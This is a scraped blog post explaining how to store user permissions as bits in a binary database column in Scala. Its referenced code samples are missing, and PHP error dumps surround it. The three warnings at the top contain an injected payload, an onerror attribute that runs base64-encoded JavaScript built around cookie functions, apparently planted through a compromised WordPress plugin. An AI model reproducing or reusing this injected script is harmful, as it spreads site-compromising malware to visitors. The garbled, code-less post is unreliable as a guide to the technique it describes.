Binary permissions


Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cm in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

While still working on Path and Form component I decided to write a bit about user authorization and especially about permissions part. So what about it? Very often in smaller projects (that don’t use any framework mechanisms for this purpose) at database level I saw user’s permissions designed like this:

user_permission_1

There is an user and a permission table connected in an user_permission relation. To check if user has given permission simple query is required:

It could be wrapped up in some handy function like this (I use Scala and ScalikeJDBC here):

So what’s wrong with it?. Firstly it can slow down other parts of the application. If your logic requires checking permission many times (in loop for example to do something with each order line) delay can be noticeable. Of course it can be cached in some kind of user permission dictionary but that leads to code complexity increasing. Secondly and that’s more important (at least from my point of view) is adding new permission. In the code one could have permission names defined like this:

and use it in a clean and readable way like that (of course it can be simplified more):

But when new permission will be required two steps are needed to take:

  1. Adding new permission in the database
  2. Adding new variable in the Permission object

And the biggest pain here is keeping permission variables in sync with values in the database. If you used serial id (auto generated id) in the permission table and regenerated its data then you cannot be sure about consistency anymore. And developer that wants to add new permission must have database access or he has to bother database administrator.

Is there better solution? I wouldn’t be writing all this if there weren’t 🙂 Instead of having permission and user_permission table let’s just add binary “permission” field in the user table. I usually make it 32 bytes long so it’s capable to store 256 permissions. Each byte keeps permissions – one per bit. In PostgreSql it’s defined as bytea type:

To set a proper bit in the permission array byte slot (n in setFlag function) must be calculated and then bit number of this slot determined (offset in example below). Byte slot is simply a permission value divided by 8 (or shifted right by 3 bits) and offset is 1 moved left by number of bits taken from the rest of permission dividing. To check if permission is set exactly the same operations are needed except the last one where and is used to check if bit is on or off.

packPermissions function converts array of permission numbers into array of permission bits that can be stored in the database. Below is an example of loading user and its permissions (and notifications which are handled in the same way). User class also has simplified version of hasPermission where only permission number is passed.

I hope the code above is clear to you and you’re able to figure everything out. The advantages of this approach are:

  1. Space needed to keep permissions both in the database and the code (only 32 bytes per user instead of 2048 (user_id + permission_id) * 4 bytes).
  2. Speed of loading (it’s a no cost actually).
  3. Speed of access – all permissions are loaded on user authentication, no caching required.
  4. Permissions are defined only on the code side. There is no need to synchronize with database values. If anyone wants to add new permission he simply adds a new variable in Permission object.
  5. Every coder can add new permission. There is no need to have access to the database.

And that’s it. I used this solution in my two last projects and it worked very well.


Fatal error: Uncaught ArgumentCountError: Too few arguments to function cwppos_show_review(), 0 passed in /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php on line 29 and exactly 1 expected in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php:18 Stack trace: #0 /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php(29): cwppos_show_review() #1 /home/unodgs/public_html/blog/wp-includes/template.php(725): require('/home/unodgs/pu...') #2 /home/unodgs/public_html/blog/wp-includes/template.php(672): load_template('/home/unodgs/pu...', false) #3 /home/unodgs/public_html/blog/wp-includes/general-template.php(168): locate_template(Array, true, false) #4 /home/unodgs/public_html/blog/wp-content/themes/flat/single.php(5): get_template_part('content', 'single') #5 /home/unodgs/public_html/blog/wp-includes/template-loader.php(106): include('/home/unodgs/pu...') #6 /home/unodgs/public_html/blog/wp-blog-header.php(19): require_once('/home/unodgs/pu...') #7 /ho in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php on line 18